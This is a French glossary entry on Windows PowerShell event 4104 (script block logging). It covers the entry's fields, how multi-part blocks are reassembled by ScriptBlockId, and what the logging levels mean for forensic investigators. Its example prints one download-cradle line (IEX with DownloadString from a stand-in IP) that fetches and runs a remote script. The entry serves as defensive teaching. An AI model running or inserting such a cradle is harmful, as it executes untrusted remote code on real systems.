Glossaire
Événement 4104
L'événement de journalisation des blocs de script PowerShell : un bloc de code compilé, identifié par ScriptBlockId et numéroté MessageNumber sur MessageTotal.
L'événement 4104 est l'événement de journalisation des blocs de script, écrit dans le journal Microsoft-Windows-PowerShell/Operational (et, pour PowerShell 7, dans PowerShellCore/Operational). Chaque événement contient le texte d'un bloc de code PowerShell tel que le moteur l'a compilé, une fois résolus tout encodage et toute obfuscation de chaînes, ce qui en fait la source unique la plus riche sur ce que PowerShell a réellement exécuté.
Pourquoi c'est important en investigation
Le 4104 montre le code lui-même, et pas seulement une ligne de commande : il révèle donc la logique d'un script téléchargé, décodé ou construit en mémoire. Ses EventData comportent quatre champs à connaître :
ScriptBlockText: le code de cette partie du blocScriptBlockId: un GUID partagé par toutes les parties d'un même blocMessageNumber/MessageTotal: cette partie n sur NPath: le fichier.ps1source, lorsque le bloc provient d'un script
Comme le journal d'événements plafonne la taille d'un événement, un script long est réparti sur plusieurs événements 4104. Pour le reconstituer, on regroupe par ScriptBlockId, on trie par MessageNumber et on concatène ScriptBlockText. Si une partie a été évincée du journal ou n'a jamais été collectée, la reconstitution présente un trou dont toute interprétation doit tenir compte.
Le niveau compte aussi. Lorsque la stratégie est activée, les blocs sont journalisés au niveau Commentaires (Verbose) ; les blocs journalisés au niveau Avertissement ont été signalés par PowerShell de lui-même parce qu'ils contiennent des termes qu'il juge suspects, ce qui se produit même lorsque la journalisation complète est désactivée.
Exemple
Un script long peut arriver sous forme de trois événements partageant un même ScriptBlockId, numérotés 1 sur 3, 2 sur 3 et 3 sur 3. Si seules les parties 1 et 3 subsistent, le parseur affiche quand même le bloc et le signale comme partiel, en indiquant que la partie 2 sur 3 est absente du journal, afin que le trou ne passe pas inaperçu. Un bloc en une seule partie peut contenir :
ScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')
MessageNumber: 1 MessageTotal: 1
Termes associés
- Journalisation des blocs de script, la fonctionnalité qui produit le 4104
- Journalisation des modules (4103), son événement compagnon dans le même journal
- Journal classique Windows PowerShell, avec les événements 400, 403, 600 et 800
Reconstituez et décodez les événements 4104 dans votre navigateur avec PowerShell Parser, et lisez le guide forensique du 4104.